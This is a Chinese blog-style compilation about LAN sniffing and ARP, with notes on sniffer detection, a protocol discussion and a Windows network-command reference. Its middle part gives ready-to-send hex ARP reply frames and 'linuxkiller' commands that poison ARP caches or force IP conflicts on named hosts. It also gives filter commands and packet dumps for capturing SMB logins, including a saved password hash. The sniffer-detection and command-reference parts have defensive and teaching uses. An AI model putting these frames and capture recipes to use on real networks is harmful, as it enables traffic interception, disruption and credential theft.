Sniffer一般只能监听连到同一集线器上计算机(这主要看网络的 拓扑结构),但检测Sniffer可没这种限制,只要与对方通讯可以不过 路由。只要符合此条件其他网络中的Sniffer也可以查出。
一般不必配置,程序会自动检测网络配置。一旦扫描发现有人窃 听,会提示对方的IP, MAC,并会记录到日志(Antilog.txt)中。
注:有时候会误报。一般是某些网卡驱动本身的问题
可以在以下位置下载 http://202.115.16.8/~skyfly/net/anti.zip http://www2.neiep.edu.cn/ace/net/anti.zip
每台主机进入LAN时会向整个子网发送免费ARP通知报文,即该request包是 利用广播方式请求解析自己的IP地址,但源和目标IP已经就位了。 免费ARP(源IP和目标IP一致)请求意味着一个包就影响了整个子网, 如果一个错误的免费ARP请求出现,整个子网都被搅乱了。
即使主机不发送免费ARP报文,也会因为后续的request请求导致自己的IP-MAC 对进入LAN上所有主机的ARP Cache中,所以冲突与否与免费ARP包没有必然 联系。这个结论可以这样理解,一台Linux主机与pwin98争夺IP地址,Linux 主机将争夺成功,pwin98却一直在报告IP冲突,显然后面所有的IP冲突报告 都与免费ARP包没有关系了。
in_arpinput() 函数是4.XBSD-Lite2中的经典实现
1. 如果针对本机某个IP地址的请求到达,响应被送出。ARP入口 被建立(如果相应入口不存在)。这个优化避免过多的ARP报文交换。 2. 如果ARP响应到达,相应的ARP入口建立完成,异己主机的MAC地址 存储在sockaddr_dl结构中,队列中目标是该异己主机的报文现在 可以发送了。 3. 假如异己主机发送了一个ARP请求包或者响应包,包中源IP地址等 于自己的IP地址,那么两台之中必有一台错误配置了IP地址。Net/3 侦测到这个错误并向管理员报告。 4. 主机接收到来自异己主机的ARP包,该异己主机的ARP入口已经存在, 若包中异己主机的MAC地址已经改变,则相应的ARP入口中的MAC地址 得到更新。 5. 主机可以配置成proxy ARP server。这意味着它代替目标主机响应 ARP请求。卷I的4.6节讨论了proxy ARP。用arp命令可以配置一台主 机成为proxy ARP server。
从3可以看到什么时候进行了冲突监测,从4可以看到什么时候发生了ARP Cache 动态修改。
./linuxkiller -o 0x80000200 -c 0x0806 -b140002 -q eth0 捕捉一个ARP REPLY报文的完整二进制显示
byteArray [ 60 bytes ] ----> 00000000 00 00 21 CE 28 A4 00 00-21 D1 22 F1 08 06 00 01 ..!??.!??... 00000010 08 00 06 04 00 02 00 00-21 D1 22 F1 C0 A8 43 6F ........!疡"括Co 00000020 00 00 21 CE 28 A4 C0 A8-43 74 20 20 20 20 20 20 ..!韦(括Ct 00000030 20 20 20 20 20 20 20 20-20 20 20 20 [arp/rarp] hardware = 0001 protocol = 0800 hardAddLen = 06 proAddLen = 04 00:00:21:D1:22:F1 -> 00:00:21:CE:28:A4 192.168.67.111 -> 192.168.67.116 ( ARP Reply )
00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F 00 00 00 00 00 00 C0 A8-43 74 这种报文导致192.168.67.116的ARP CACHE中出现 192.168.67.111的MAC是00-00-00-00-00-00
52:54:AB:13:E1:C8 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 FF-FF-FF-EE-EE-EE C0 A8 43 6C 00 00 00 00 00 00 C0 A8-43 7C 这种报文导致192.168.67.124的ARP CACHE中出现 192.168.67.108的MAC是FF-FF-FF-EE-EE-EE
00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F 00 00 00 00 00 00 00 00 00 00 这种不可以,因为192.168.67.116被写成了0.0.0.0
00 00 00 11 11 11 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8-43 6A 这种导致192.168.67.106上报告ARP冲突,引发冲突的 MAC地址是00-00-22-F1-21-D1
00-00-21-D1-22-F1 00 00-00 00 00 00 08 06 00 01 08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8 43 65 这种导致192.168.67.101上报告ARP冲突
把上面的报文cat > linuxkiller.byteArray,然后执行 ./linuxkiller -k linuxkiller.byteArray -w 5 将导致发送了五个冲突包出去,会立刻看到效果。
如果是在Windows下,用NetXray发送也可以,不过NetXray有个毛病, 非要一定大小的报文才给发送,不能发送任意字节的报文,所以可能 你需要填充部分数据。ARP报文没有校验和的概念,所以也不用考虑 重新计算校验和的问题。
冲突没有什么意思,改写ARP Cache有点用,就是所以arp spoof的 一部分。免费ARP是移动IP所需要的。Linux解决办法是始终尊重 ATF_PERM标志, 就是说静态ARP入口不会在ARP性能优化规则下被接收 到的ARP包动态改变。Pwin98下用arp -s建立的静态ARP入口会被接收到 的ARP包动态改变,至少我测试过向全子网广播发送ARP请求包,企图修 改对应网关IP的MAC地址为错误的MAC,成功。因为ARP广播包不受 Lan Switch或者Smart Hub的影响,所以这是很无奈的一个结论。
struct mysmbhdr { u_char smb_c[4]; /* 0xFF SMB,必须是这四个字节 */ u_char smb_command; /* 目前只处理0x25 */ u_char smb_errorclass; /* 0 Success,当这四个字节全0时才继续处 理 * u_char smb_reserved0; /* 0x00 */ u_short smb_errorcode; /* 00 00 Success */ u_char smb_flags1; /* 0x80 Server Response,只处理这种情况 */ u_short smb_flags2; /* 主机字节顺序,不要理会 */ u_char smb_pad0[12]; /* 全0的填充字节 */ u_short smb_treeid; /* 主机字节顺序 */ u_short smb_callerpid; /* 主机字节顺序 */ u_short smb_unauthuid; /* 主机字节顺序 */ u_short smb_multiplexid; /* 主机字节顺序 */ u_char smb_countofparam; /* 从smb_sentparambytes开始有多少个u_sh ort# 不要理会 */ u_short smb_sentparambytes; /* 主机字节顺序 */ u_short smb_totalsentdata; /* 主机字节顺序 */ u_char smb_countofparam; /* 从smb_sentparambytes开始有多少个u_sh ort? u_short smb_sentparambytes; /* 主机字节顺序 */ u_short smb_totalsentdata; /* 主机字节顺序 */ u_short smb_reserved1; /* 00 00 */ u_short smb_paramcount; /* 主机字节顺序 */ u_short smb_paramoffset; /* 主机字节顺序,利用这个偏移去取共享资 源个 ?*/ u_short smb_paramdisplacement; /* 主机字节顺序 */ u_short smb_datacount; /* 主机字节顺序 */ u_short smb_dataoffset; /* 主机字节顺序,从这个偏移开始处理 */ u_short smb_datadisplacement; /* 主机字节顺序 */ };
口令明文传输的时候 ./linuxkiller -v 000021d40b92 -u 000000111111 -a 110000 -b 2575006500680B32 -f 2200 从192.168.67.106到192.168.67.107单向MAC过滤,分析SMB报文,对TCP数据区偏移25H 处进进? 字节过滤u.e.h.2 [ tcpsmb ] 192.168.67.106 [ 1190 ] --> 192.168.67.107 [ 139 ] byteArray [ 143 bytes ] ----> 00000000 00 00 00 8B FF 53 4D 42-73 00 00 00 00 10 00 00 ...婱Bs....... 00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............?
00000020 01 00 82 A6 0D 75 00 65-00 68 0B 32 00 00 00 8A ..偊.u.e.h.2...
00000030 14 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ............... ( 00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC H 00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi n 00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0...... 00000070 09 00 1B 00 XX XX XX XX-XX XX XX XX 00 5C 5C 56 ....XXXXXXXX.\\ V 00000080 45 4E 55 53 5C 53 43 5A-00 3F 3F 3F 3F 3F 00 ENUS\SCZ.?????.
口令加密传输 ./linuxkiller -u 000000111111 -a 110000 -b 2575006500680B32 -f 200 [ tcpsmb ] 192.168.67.106 [ 1136 ] --> 192.168.67.107 [ 139 ] byteArray [ 158 bytes ] ----> 00000000 00 00 00 9A FF 53 4D 42-73 00 00 00 00 10 00 00 ...歁Bs....... 00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............?
00000020 01 00 01 4E 0D 75 00 65-00 68 0B 32 00 00 00 C7 ...N.u.e.h.2...
00000030 1F 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ............... ( 00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC H 00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi n 00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0...... 00000070 18 00 2A 00 E4 7F 2C 5D-88 04 86 D5 2A 96 73 3C ..*.,]?喺*杝< 00000080 4E 95 67 40 B8 38 F5 CB-6C 11 6D 1C 5C 5C 56 45 N昰@?跛l.m.\\V E 00000090 4E 55 53 5C 53 43 5A 00-3F 3F 3F 3F 3F 00 NUS\SCZ.?????. 53435a00 SCZ 56454e55535445434800 VENUSTECH 57696e646f777320342e3000 Windows 4.0 57696e646f777320342e3000 Windows 4.0 04ff000000020018002a00 e47f2c5d880486d52a96733c4e956740b838f5cb6c116d1c 5c5c56454e55535c53435a00 \\VENUS\SCZ 3f3f3f3f3f00 用网络刺客保存下来的结果 SCZ\VENUSTECH:3:9f62be236e88c1be:000053435a0056454e5553544543480057696e646f7 7732 :000000000000000000000000000000000000000000000000
大凡兄弟们给程序,不少是去掉了头文件, 这个讨论下去没有意义,我也不说什么了,反正下面的 头文件会用的自己用去。注意,有些头文件是有顺序 的,我给的是可以用的,你如果增加或减少了什么, 不要动已经给出的顺序。linux下编译socket程序不 象solaris下有-lnsl -lsocket之类的开关,直接gcc就 可以了
#include /* for isalpha */ #include #include #include #include /* ANSI C header file */ #include /* for syslog() */ #include #include /* for nonblocking */ #include #include /* for getpass */ #include /* for pthread_ */ #include #include #include /* timespec{} for pselect() */ #include #include /* for mmap */ #include /* for poll */ #include /* basic socket definitions */ #include /* for S_xxx file mode constants */ #include /* timeval{} for select() */ #include /* basic system data types */ #include /* for iovec{} and readv/writev */ #include /* for Unix domain sockets */ #include #include /* for share memory */ #include #include /* for PAGE_SIZE */ #include /* for ifreq */ #include #include /* sockaddr_in{} and other Internet defns */ #include /* for iphdr */ #include /* for icmphdr */ #include /* for igmp */ #include /* for tcphdr */ #include /* for udphdr */ #include /* for arphdr */ #include /* inet(3) functions */ #include /* for ethhdr #define ETH_P_ALL 0x0003 */ #include /* for struct sockaddr_ll */ #include #include #include /* for sysctl */
首先非常感谢 skyfly 前面的介绍,解答了我一个迷惑很久的问题。 上次从清华搞回linux源代码编译运行前自以为是地修改了 下面这条语句中的mac地址,以前我以为只要是fake mac就可以 到达探测效果,没有想到还有其他窍道。现在用下面这条语句,就可 以同时针对windows和linux了 memcpy( arp_pkt.dst_mac, "\xff\0\0\0\0\0", 6 ); /* ff:00:00:00:00:00 */ 估计源代码也是书写错误,不应该是\255\255\255\255\255\0的, 这种情况下只能监测出linux下的混杂模式网卡,而不能探测到NetXray的存在。 因为发送出去的是AD:AD:AD:AD:AD:0,这个fake mac依旧发现了SOCK_PACKET的存在, 但没有发现NetXray的存在。而ff:00:00:00:00:00发现了 NetXray和IPMan的存在, 后者也就意味着所有使用Vpacket.vxd的都将被发现,包括网 络刺客和S-Term。 不过 pred 也指出过,对网卡的promisc模式的监测是根据操作系统的不同反应来进行 的,监视的时候可以不装任何协议,这样就查不出promisc模式的网卡了。 虽然我没有在不装任何协议的情况下进行过监听,但 pred 指出 的这个问题应该是存在的。建议这样,把某台已经可以正常连入 Lan的Pwin98的所有协议都卸载掉,重新安装NetXray或者直接使 用IPMan进行监听,就知道效果如何了。尤其是那种专门用来进 行局域网分析的硬件设备,会在自己本机不装网络协议的情况下 进行监听呢,所以还是很有实际意义的。 只要启动了NetXray,网卡就进入了混杂模式,这个可以从它即 使不进行监听也会报告网络冲突包出现得到证实,同样Boy系列 的工具、LinkViewPro等等都一样,只要启动了,
即使没有进行监听,也会设置网卡到混杂模式,退出后取消混杂 模式。但是使用Vpacket.vxd的那些工具不是的,网络刺客,如 果你不选择进行监听,网卡依旧在普通模式。不知道 使用packet.sys的NT下的监听工具又是怎么个样子,没测试过。 在Linux下,如果你是root用户,ifconfig eth0 promisc后,运 行antisniff,发现也被监测到了,可以逗别人玩玩嘛,让他来 找你麻烦,然后开始诡辩。 虽然使用过L0pht的antisniff,一直奇怪为什么自己从清华弄来 的源代码不行而它的1.01可以,今天经skyfly一解释,明白啦, 再次感谢 skyfly 。看来了解原理是一回事情,深入了解后加以 利用又是另外一回事情,早该用NetXray看看antisniff发了些什 么探测包出来的,sigh 如果探测出来有混杂模式网卡存在,你该怎么办,办法是冷静, 不要气汹汹地去找人, 没有意义,也不要无聊地进行所谓的自卫反击,目前最严重的问 题是监听BBS,这个可以通过使用ssh解决,华中站等Y2K危机过 了,可以考虑使用sshd。 最后需要说明的是,这种监测是发送了大量报文到网络上的,网 络分析软件会立刻发现出现异常高峰报文,如果你监测0-255范 围,结果255的兄弟立刻断线,你就无法发现他刚才 监听过你。而且,最好不要频繁监测. November 18 中午去败了一本中国国家地理的特辑,妈妈的,原价只有16,因为全国疯卖,几个小时之内几十万本卖光了,靠,都是奸商搞得!搞得狗杂志社TMD想,让老子也奸一回,结果加印以后卖到68了,郁闷!
November 08
常用网络检测命令 |
|
一、显示和修改地址解析协议——ARP 1.具体功能 该命令用于显示和修改“地址解析协议(ARP)”缓存中的项目。ARP缓存中包含一个或多个表,它们用于存储IP地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则ARP命令将显示帮助信息。 2.语法详解 arp [-a [inetaddr] [-n ifaceaddr] [-g [inetaddr] [-n ifaceaddr] [-d inetaddr [ifaceaddr] [-s inetaddr etheraddr [ifaceaddr] 3.参数说明 -a [inetaddr] [-n ifaceaddr] 显示所有接口的当前ARP缓存表。要显示指定IP地址的ARP缓存项,请使用带有inetaddr参数的“arp -a”,此处的inetaddr代表指定的IP地址。要显示指定接口的ARP缓存表,请使用“-n ifaceaddr”参数,此处的ifaceaddr代表分配给指定接口的IP地址。-N参数区分大小写。 -g [inetaddr] [-n ifaceaddr] 与-a相同。 -d inetaddr [ifaceaddr] 删除指定的IP地址项,此处的inetaddr代表IP地址。对于指定的接口,要删除表中的某项,请使用ifaceaddr参数,此处的ifaceaddr代表分配给该接口的IP地址。要删除所有项,请使用星号(*)通配符代替inetaddr。 -s inetaddr etheraddr [ifaceaddr] 向ARP缓存添加可将IP地址inetaddr解析成物理地址etheraddr的静态项。要向指定接口的表添加静态ARP缓存项,请使用ifaceaddr参数,此处的ifaceaddr代表分配给该接口的IP地址。 注意:inetaddr和ifaceaddr的IP地址用带圆点的十进制记数法表示。物理地址Etheraddr由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。 只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。 4.例举说明 例子1:要显示所有接口的ARP缓存表,执行以下命令: arp -a 例子2:对于指派的IP地址为10.0.0.99的接口,要显示其ARP缓存表,执行以下命令: arp -a -N 10.0.0.99 例子3:要添加将IP地址10.0.0.80解析成物理地址00-AA-00-4F-2A-9C的静态ARP缓存项,执行以下命令: arp -s 10.0.0.80 00-AA-00-4F-2A-9C 二、文件上传下载——FTP 1.具体功能 该命令用于将文件传输到运行文件传输协议(FTP)服务器服务(如Internet信息服务)的计算机,或从这台计算机传输文件。可以通过处理ASCII文本文件交互式地或以批处理模式使用FTP。 2.语法详解 ftp [-v] [-d] [-i] [-n] [-g] [-s filename] [-a] [-w windowsize] [-A] [host] 3.参数说明 -v 禁止显示FTP服务器响应。 -d 启用调试、显示在FTP客户端和FTP服务器之间传递的所有命令。 -i 传送多个文件时禁用交互提示。 -n 在建立初始连接后禁止自动登录功能。 -g 禁用文件名组合。它允许使用星号(*)和问号(?)作为本地文件和路径名的通配符字符。 -s filename 指定包含FTP命令的文本文件。这些命令在启动FTP后自动运行。该参数不允许带有空格。使用该参数而不是重定向(<)。 -a 指定绑定FTP数据连接时可以使用任何本地接口。 -w windowsize 指定传输缓冲的大小。默认窗口大小为4096字节。 -A 匿名登录到FTP服务器。 host 指定要连接的计算机名、IP地址或FTP服务器的IPv6地址。如果指定了主机名或地址,则其必须是命令行的最后一个参数。 注意:FTP参数的前缀必须使用连接号(-)而不是斜线(/)。 FTP命令行参数是区分大小写的。 只有TCP/IP已经作为网络适配器属性中的组件安装之后,才可使用该命令。 FTP可以交互使用。启动FTP后,FTP将创建一个可以在其中使用FTP命令的子环境。可以通过键入Quit命令返回到命令提示符下。当运行FTP子环境时,它将由“ftp >”命令提示符表示。 4.例举说明 例子1:要登录到名为ftp.itbook.com.cn的FTP服务器,执行以下命令: ftp ftp.itbook.com.cn 例子2:要匿名登录到名为ftp.itbook.com.cn的FTP服务器,执行以下命令: ftp -A ftp.itbook.com.cn 例子3:要登录到名为ftp.itbook.com.cn的FTP服务器并运行名为Rsynch.txe文件中的ftp命令,执行以下命令: ftp -s resynch.txt ftp.itbook.com.cn 三、返回网卡地址列表——GETMAC 1.具体功能 该命令用于返回计算机中所有网卡的媒体访问控制(MAC)地址以及每个地址的网络协议列表,既可以从本地返回,也可以通过网络返回。 2.语法详解 getmac[.exe] [/s computer [/u domainuser [/p password]] [/fo ] [/nh] [/v] 3.参数说明 /s computer 指定远程计算机名称或IP地址(不能使用反斜杠)。默认值是本地计算机。 /u domainuser 运行具有由user或domainuser指定用户的账户权限命令。默认值是当前登录发布命令的计算机的用户权限。 /p password 指定用户账户的密码,该用户账户在/u参数中指定。 /fo 指定查询结果输出的格式。有效值为table、list和csv。输出的默认格式为table。 /nh 在输出中压缩列头标。当将/fo参数设置为table或csv时有效。 /v 指定输出显示详细信息。 4.例举说明 例子:下面的范例说明了如何使用GETMAC命令: getmac /fo table /nh /v getmac /s srvmain getmac /s srvmain /u maindomhiropln getmac /s srvmain /u maindomhiropln /p p@ssW23 getmac /s srvmain /u maindomhiropln /p p@ssW23 /fo list /v getmac /s srvmain /u maindomhiropln /p p@ssW23 /fo table /nh 四、显示计算机主机名——HOSTNAME 1.具体功能 显示计算机全名中的主机名称部分。 2.语法详解 hostname 注意:只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。 3.例举说明 例子:要显示计算机名称,执行以下命令: hostname 五、显示当前网络配置——IPCONFIG 1.具体功能 该命令用于显示所有当前的TCP/IP网络配置值、刷新动态主机配置协议(DHCP)和域名系统(DNS)设置。使用不带参数的IPCONFIG可以显示所有适配器的IP地址、子网掩码、默认网关。 2.语法详解 ipconfig [/all] [/renew [adapter] [/release [adapter] [/flushdns] [/displaydns] [/registerdns] [/showclassid adapter] [/setclassid adapter [classID] 3.参数说明 /all 显示所有适配器的完整TCP/IP配置信息。在没有该参数的情况下IPCONFIG只显示IP地址、子网掩码和各个适配器的默认网关值。适配器可以代表物理接口(例如安装的网络适配器)或逻辑接口(例如拨号连接)。 /renew [adapter] 更新所有适配器(如果未指定适配器),或特定适配器(如果包含了adapter参数)的DHCP配置。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。要指定适配器名称,请键入使用不带参数的IPCONFIG命令显示的适配器名称。 /release [adapter] 发送DHCPRELEASE消息到DHCP服务器,以释放所有适配器(如果未指定适配器)或特定适配器(如果包含了adapter参数)的当前DHCP配置并丢弃IP地址配置。该参数可以禁用配置为自动获取IP地址的适配器的TCP/IP。要指定适配器名称,请键入使用不带参数的IPCONFIG命令显示的适配器名称。 /flushdns 清理并重设DNS客户解析器缓存的内容。如有必要,在DNS疑难解答期间,可以使用本过程从缓存中丢弃否定性缓存记录和任何其他动态添加的记录。 /displaydns 显示DNS客户解析器缓存的内容,包括从本地主机文件预装载的记录以及由计算机解析的名称查询而最近获得的任何资源记录。DNS客户服务在查询配置的DNS服务器之前使用这些信息快速解析被频繁查询的名称。 /registerdns 初始化计算机上配置的DNS名称和IP地址的手工动态注册。可以使用该参数对失败的DNS名称注册进行疑难解答或解决客户和DNS服务器之间的动态更新问题,而不必重新启动客户计算机。TCP/IP协议高级属性中的DNS设置可以确定DNS中注册了哪些名称。 /showclassid adapter 显示指定适配器的DHCP类别ID。要查看所有适配器的DHCP类别ID,可以使用星号(*)通配符代替adapter。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。 /setclassid adapter [classID] 配置特定适配器的DHCP类别ID。要设置所有适配器的DHCP类别ID,可以使用星号(*)通配符代替adapter。该参数仅在具有配置为自动获取IP地址的网卡的计算机上可用。如果未指定DHCP类别的ID,则会删除当前类别的ID。 注意:IPCONFIG等价于WINIPCFG,后者在Windows 98/Me上可用。尽管Windows XP没有提供象WINIPCFG命令一样的图形化界面,但可以使用“网络连接”查看和更新IP地址。要做到这一点,请打开网络连接,右键点击某一网络连接,点击“状态”命令,然后点击“支持”选项卡。 该命令最适用于配置为自动获取IP地址的计算机。它使用户可以确定哪些TCP/IP配置值是由DHCP、自动专用IP地址(APIPA)和其他配置配置的。 如果adapter名称包含空格,请在该适配器名称两边使用引号(即"adapter name")。 对于适配器名称,IPCONFIG可以使用星号(*)通配符字符指定名称为指定字符串开头的适配器,或名称包含有指定字符串的适配器。例如,local* 可以匹配所有以字符串local开头的适配器,而*Con*可以匹配所有包含字符串Con的适配器。 只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。 4.例举说明 例子1:要显示所有适配器的基本TCP/IP配置,执行以下命令: ipconfig 例子2:要显示所有适配器的完整TCP/IP配置,执行以下命令: ipconfig /all 例子3:仅更新“本地连接”适配器的由DHCP分配IP地址的配置,执行以下命令: ipconfig /renew "Local Area Connection" 例子4:要在排除DNS的名称解析故障期间清理DNS解析器缓存,执行以下命令: ipconfig /flushdns 例子5:要显示名称以Local开头的所有适配器的DHCP类别ID,执行以下命令: ipconfig /showclassid Local* 例子6:要将“本地连接”适配器的DHCP类别ID设置为TEST,执行以下命令: ipconfig /setclassid "Local Area Connection" TEST 六、显示和修改IPX路由——IPXROUTE 1.具体功能 该命令用于显示和修改有关由IPX协议使用的路由表的信息,使用不带参数的IPXROUTE显示发送给未知、广播和多点播放地址的数据包的默认设置。 2.语法详解 ipxroute servers [/type=x] ipxroute ripout network ipxroute resolve {guid | name} {guid | adaptername} ipxroute board=n [def] [gbr] [mbr] [remove=xxxxxxxxxxxx] ipxrout config 3.参数说明 servers [/type=x] 为指定的服务器类型显示“服务访问点”(SAP) 表格。x必须是整数。例如,/type=4显示所有的文件服务器,若不指定/type,Ipxroute Servers将显示各种类型的服务器,并按服务器名称列出。 ripout network 通过查询IPX堆栈路径表和发出RIP请求(如果必要),确定Network是否可以到达。network是IPX网段号。 resolve {guid | name} {guid | adaptername} 解析友好名称指南的名称,或指南的友好名称。 board=n 指定要查询或设置参数的网卡。 def 将数据包发送给All Routes广播。如果数据包被传送到不位于源路由表中唯一的媒体访问卡(MAC)地址,则默认操作是IPXROUTE将数据包发送到Single Routes广播。 gbr 将数据包发送给All Routes广播。如果数据包传送到广播地址(FFFFFFFFFFFF),默认操作是IPXROUTE将数据包发送到Single Routes广播。 mbr 将数据包发送给All Routes广播。如果数据包传送到多播地址(C000xxxxxxxx),默认操作是IPXROUTE将数据包发送到Single Routes广播。 remove=xxxxxxxxxxxx 从源路由表中删除给定的节点地址。 config 显示所有已配置IPX绑定的信息。 4.例举说明 例子:要显示工作站所在的网段、工作站节点地址和使用的帧类型,执行以下命令: ipxrout config 七、红外线传输——IRFTP 1.具体功能 该命令用于通过红外链接发送文件使用不带参数或带参数/s的IRFTP打开“无线连接”对话框,可以从该框中选择不通过命令行发送的文件。 2.语法详解 irftp [drive ] [path] filename] [/h] irftp /s 3.参数说明 drive 指定驱动器,它包含想要通过红外链接发送的文件。 [path] filename 指定想要通过红外链接发送的文件(或一组文件) 的位置和名称。如果指定了文件集,则必须指定各个文件的完整路径。 /h 指定隐藏模式。使用隐藏模式时,将在不显示“无线链接”对话框的情况下发送文件。 /s 打开“无线连接”对话框,以便可以从该框中选择不通过命令行发送的文件或文件集来指定驱动器、路径和文件名。 注意:使用本命令之前,请验证要通过红外连接进行通讯的设备是否启用了红外功能、是否工作正常以及是否建立了设备之间的红外连接。 4.例举说明 例子1:要将名称为MyWorkDoc的Word文档(位于名为MyWorkFiles(源计算机的驱动器C上)的文件夹中)发送到目标计算机上,执行以下命令: irftp C MyWorkFilesMyWorkDoc.doc /h 例子2:要将两个Word文档MyWorkDoc1和MyWorkDoc2(位于名为MyWorkFiles(源计算机的驱动器C上)的文件夹中)发送到目标计算机上,执行以下命令: irftp C MyWorkFilesMyWordDoc1.doc C MyWorkFilesMyWordDoc2. doc /h 由于使用了隐藏模式,所以没有显示“无线连接”。 八、显示NetBIOS协议的统计资料——NBTSTAT 1.具体功能 该命令用于显示本地计算机和远程计算机的基于TCP/IP(NetBT)协议的NetBIOS统计资料、NetBIOS名称表和NetBIOS名称缓存。NBTSTAT可以刷新NetBIOS名称缓存和注册的Windows Internet名称服务(WINS)名称。使用不带参数的NBTSTAT显示帮助。 2.语法详解 nbtstat [-a remotename] [-a IPaddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval] 3.参数说明 -a remotename 显示远程计算机的NetBIOS名称表,其中,remote name是远程计算机的NetBIOS计算机名称。NetBIOS名称表是运行在该计算机上的应用程序使用的NetBIOS名称列表。 -a IPaddress 显示远程计算机的NetBIOS名称表,其名称由远程计算机的IP地址指定(以小数点分隔)。 -c 显示NetBIOS名称缓存内容、NetBIOS名称表及其解析的各个地址。 -n 显示本地计算机的NetBIOS名称表。Registered中的状态表明该名称是通过广播或WINS服务器注册的。 -r 显示NetBIOS名称解析统计资料。在配置为使用WINS的Windows计算机上,该参数将返回已通过广播和WINS解析和注册的名称号码。 -R 清除NetBIOS名称缓存的内容并从Lmhosts文件中重新加载带有#PRE标记的项目。 -RR 重新释放并刷新通过WINS注册的本地计算机的NetBIOS名称。 -s 显示NetBIOS客户和服务器会话,并试图将目标IP 地址转化为名称。 -S 显示NetBIOS客户和服务器会话,只通过IP地址列出远程计算机。 Interval 重新显示选择的统计资料,可以中断每个显示之间的Interval中指定的秒数。按Ctrl+C停止重新显示统计信息。如果省略该参数,NBTSTAT将只显示一次当前的配置信息。 4.例举说明 例子1:要显示NetBIOS计算机名为CORP07的远程计算机的NetBIOS名称表,执行以下命令: nbtstat -a CORP07 例子2:要显示所分配IP地址为10.0.0.99的远程计算机的NetBIOS名称表,执行以下命令: nbtstat -A 10.0.0.99 例子3:要显示本地计算机的NetBIOS名称表,执行以下命令: nbtstat -n 例子4:要显示本地计算机NetBIOS名称缓存的内容,执行以下命令: nbtstat -c 例子5:要清除NetBIOS名称缓存并重新装载本地Lmhosts文件中带标记#PRE的项目,执行以下命令: nbtstat -R 例子6:要释放通过WINS服务器注册的NetBIOS名称并对其重新注册,执行以下命令: nbtstat -RR 例子7:要每隔5秒以IP地址显示NetBIOS会话统计资料,执行以下命令: nbtstat -S 5 九、显示网络连接信息——NETSTAT 1.具体功能 该命令用于显示活动的TCP连接、计算机侦听的端口、以太网统计信息、IP路由表、IPv4统计信息(对于IP、ICMP、TCP和UDP协议)以及IPv6统计信息(对于IPv6、ICMPv6、通过IPv6的TCP以及通过IPv6的UDP协议)。使用时如果不带参数,NETSTAT显示活动的TCP连接。 2.语法详解 netstat [-a] [-e] [-n] [-o] [-p protocol] [-r] [-s] [interval] 3.参数说明 -a 显示所有活动的TCP连接以及计算机侦听的TCP和UDP端口。 -e 显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与-s结合使用。 -n 显示活动的TCP连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。 -o 显示活动的TCP连接并包括每个连接的进程ID(PID)。可以在Windows任务管理器中的“进程”选项卡上找到基于PID的应用程序。该参数可以与-a、-n和-p结合使用。 -p protocol 显示protocol所指定的协议的连接。在这种情况下,protocol可以是TCP、UDP、TCPv6或UDPv6。如果该参数与-s一起使用按协议显示统计信息,则protocol可以是TCP、UDP、ICMP、IP、TCPv6、UDPv6、ICMPv6或IPv6。 -s 按协议显示统计信息。默认情况下,显示TCP、UDP、ICMP和IP协议的统计信息。如果安装了Windows XP的IPv6协议,就会显示有关IPv6上的TCP、IPv6上的UDP、ICMPv6和IPv6协议的统计信息。可以使用-p参数指定协议集。 -r 显示IP路由表的内容。 interval 每隔interval秒重新显示一次选定的信息。按Ctrl+C停止重新显示统计信息。如果省略该参数,NETSTAT将只打印一次选定的信息。 注意:与该命令一起使用的参数必须以连字符(-)而不是以短斜线(/)作为前缀。 Netstat 提供下列统计信息: (1)Proto:协议的名称(TCP或UDP)。 (2)Local Address:本地计算机的IP地址和正在使用的端口号。如果不指定-n参数,就显示与IP地址和端口的名称对应的本地计算机名称。如果端口尚未建立,端口以星号(*)显示。 (3)Foreign Address:连接该插槽的远程计算机的IP地址和端口号码。如果不指定-n参数,就显示与IP地址和端口对应的名称。如果端口尚未建立,端口以星号(*)显示。 (4)(state) 表明TCP连接的状态。下面给出可能的状态。 CLOSE_WAIT CLOSED ESTABLISHED FIN_WAIT_1 FIN_WAIT_2 LAST_ACK LISTEN SYN_RECEIVED SYN_SEND TIMED_WAIT 只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。 4.例举说明 例子1:要想显示以太网统计信息和所有协议的统计信息,执行以下命令: netstat -e -s 例子2:要想仅显示TCP和UDP协议的统计信息,执行以下命令: netstat -s -p tcp udp 例子3:要想每5秒钟显示一次活动的TCP连接和进程ID,执行以下命令: nbtstat -o 5 例子4:要想以数字形式显示活动的TCP连接和进程ID,执行以下命令: nbtstat -n -o 十、显示DNS基础结构——NSLOOKUP 1.具体功能 该命令用于显示可用来诊断域名系统(DNS)基础结构的信息。使用此工具之前,你应当熟悉DNS的工作原理。只有在已安装TCP/IP协议的情况下才可以使用NSLOOKUP命令行工具。 